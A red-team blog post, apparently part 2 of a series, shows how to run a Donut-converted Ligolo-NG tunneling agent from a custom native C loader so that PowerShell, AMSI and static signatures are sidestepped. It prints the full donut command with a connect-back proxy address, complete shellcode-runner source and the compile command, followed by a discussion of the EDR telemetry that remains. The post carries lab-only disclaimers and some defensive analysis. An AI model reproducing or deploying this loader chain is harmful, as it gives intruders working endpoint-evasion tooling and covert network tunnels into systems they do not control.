In Part 1, I used a PowerShell loader to execute a Donut-converted Ligolo agent. It worked well in the lab, but PowerShell introduces its own problems: AMSI inspection, script logging, execution policies, and endpoint restrictions.
For Part 2, I wanted to remove PowerShell completely.
The new approach uses a small native Windows executable called ligolo-runner.exe.
Its only purpose is to read the converted Ligolo payload from disk and execute it inside its own process.
The final folder contains only two files:
ligolo-runner.exe
agent.binBoth files must be placed in the same directory.
This article is intended only for isolated labs and authorized security assessments. Do not use tunneling agents or custom loaders on systems you do not own or have explicit permission to test.
The Idea
The original Ligolo agent.exe can be detected because it is a known executable with recognizable static characteristics.
As in Part 1, Donut changes what lands on disk. The difference is how the resulting payload is executed.
Unlike the previous PowerShell approach, this version does not inject the payload into Notepad or another unrelated process.
The Ligolo payload runs inside the dedicated runner itself. Technically, this is local in-process loading rather than remote-process injection.
Step 1 – Convert the Ligolo Agent
I started with the 64-bit Windows version of the Ligolo-NG agent and converted it into a raw binary payload using Donut.
The connection parameters for the authorized lab proxy were included during payload generation.
donut -f 1 -a 2 -x 3 -k 2 -o agent.bin -p "-connect 192.168.X.235:11601 -ignore-cert" -i agent.exeThe resulting file is:
agent.binThis is no longer a regular Windows executable. It cannot be started directly and requires a compatible loader.
Donut supports different architectures, output formats, encryption options, PE files, and runtime parameters. The available options are documented in the official Donut repository.
Take the time to understand the options instead of copying them blindly. Small changes in architecture or exit behavior can determine whether the converted Go executable runs correctly.
Step 2 – The Native Runner
The native runner is a small C program created specifically for this experiment.
Locate and read the payload
The runner findsagent.binbesideligolo-runner.exe, opens it and determines its size.Load it into memory
VirtualAlloccreates a writable memory region, andfreadcopies the complete payload into it.Make the memory executable
VirtualProtectchanges the region from read/write to read/execute, then the instruction cache is flushed.Execute the payload
The allocated memory is called as a function. The Donut payload starts the Ligolo agent inside the runner process and remains active.
I am sharing loader.c as a small reference implementation. The code is short enough to study line by line, and seeing the complete version makes it easier to connect the Windows API calls with the behavior an EDR can observe.
The goal is not to encourage blind copying. Compile it, debug it, monitor it, and understand what every function does. Then compare its file, memory, and network telemetry with the PowerShell version from Part 1.
Use it only in an isolated lab or during an explicitly authorized assessment. A working loader is not proof that an EDR has been universally bypassed—it is simply a controlled example for learning how in-memory execution works and how defenders can detect it.
See full script Hide script ⌄
#include
#include
// Minimal shellcode runner: agent.bin must sit next to this exe.
// Dedicated process so the Go runtime inside Donut has a stable host.
int main(void) {
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
char *slash = strrchr(path, '\\');
if (slash) *(slash + 1) = '\0';
strcat(path, "agent.bin");
FILE *f = fopen(path, "rb");
if (!f) { return 1; }
fseek(f, 0, SEEK_END);
long size = ftell(f);
fseek(f, 0, SEEK_SET);
void *mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) { fclose(f); return 2; }
fread(mem, 1, size, f);
fclose(f);
DWORD old;
VirtualProtect(mem, size, PAGE_EXECUTE_READ, &old);
FlushInstructionCache(GetCurrentProcess(), mem, size);
// Run as the main payload and wait forever — donut -x 3 blocks here.
((void (*)(void))mem)();
// Should never be reached with -x 3
for (;;) Sleep(3600000);
return 0;
}
Step 3 – Compile the Runner
I compiled the C source as a 64-bit Windows executable using MinGW-w64:
x86_64-w64-mingw32-gcc -O2 -s -o ligolo-runner.exe loader.cThis produces:
ligolo-runner.exeThe -O2 option enables compiler optimization, while -s removes unnecessary symbol information from the finished executable.
Before transferring anything to the Windows lab, the directory should look like this:
ligolo-binary/
├── agent.bin
└── ligolo-runner.exeStep 4 – Start the Lab Test
The Ligolo proxy must already be running on the authorized lab system.
When ligolo-runner.exe starts, it searches for agent.bin in the same directory, loads it into memory, and transfers execution to the Donut payload.
If the architecture and embedded connection details are correct, the agent should connect to the Ligolo proxy.
From that point, the standard Ligolo workflow applies:
select the authorized agent session;
create or select the TUN interface;
add only the routes included in the assessment scope; and
start the tunnel.
The normal tunneling workflow is covered in the official Ligolo-NG documentation.
Why Use a Binary Instead of PowerShell?
PowerShell is convenient, but it introduces several additional detection surfaces:
PowerShell script-block logging;
AMSI inspection;
execution-policy restrictions;
suspicious PowerShell command lines;
constrained-language mode; and
application-control policies.
The native runner removes those PowerShell-specific dependencies. It is also easier to launch as a dedicated process without first starting another application to host the payload.
However, this does not automatically make it invisible.
The binary version introduces its own artifacts:
an additional unsigned executable on disk;
a neighboring binary payload;
writable memory becoming executable;
execution from a private memory region; and
a persistent outbound connection to the Ligolo proxy.
PowerShell avoidance and EDR avoidance are not the same thing.
Does It Really Bypass EDR?
The honest answer is: it depends.
The technique may avoid a static signature that detects the original Ligolo executable. It does not change the tool’s behavior.
A modern EDR may still observe:
ligolo-runner.exeopening and readingagent.bin;a large payload being copied into private memory;
memory protection changing from writable to executable;
execution entering memory that is not backed by a normal image;
an unfamiliar process creating a long-running encrypted connection; and
network traffic consistent with tunneling.
For that reason, I would describe this as changing the execution profile rather than guaranteeing an EDR bypass.
Passing one version of Windows Defender in one lab does not mean the same files will pass another EDR, another policy, or even the same product after a signature update.
PowerShell Version vs Binary Version
| Characteristic | PowerShell version | Binary version |
|---|---|---|
| Requires PowerShell | Yes | No |
| AMSI and script visibility | Higher | Not applicable |
| Additional executable | Not always | Yes |
| Dedicated host process | No | Yes |
| Compilation required | No | Yes |
| Suspicious memory behavior | Yes | Yes |
| Guaranteed EDR bypass | No | No |
The native runner is cleaner for this specific experiment, but cleaner does not necessarily mean stealthier.
Some security products pay more attention to PowerShell. Others may treat a new unsigned native executable as the stronger signal.
Final Thoughts
Part 1 used PowerShell and a separate host process.
Part 2 replaces that chain with a dedicated native runner that executes the converted Ligolo agent inside its own process.
The binary approach removes PowerShell, AMSI, and script-policy dependencies. At the same time, it creates a different set of file, memory, and network indicators.
That is the real lesson from the exercise:
Every time you remove one detection surface, look at the new surface you have created.
Happy Hacking everyone!
Offsec SM – Ph03n1x



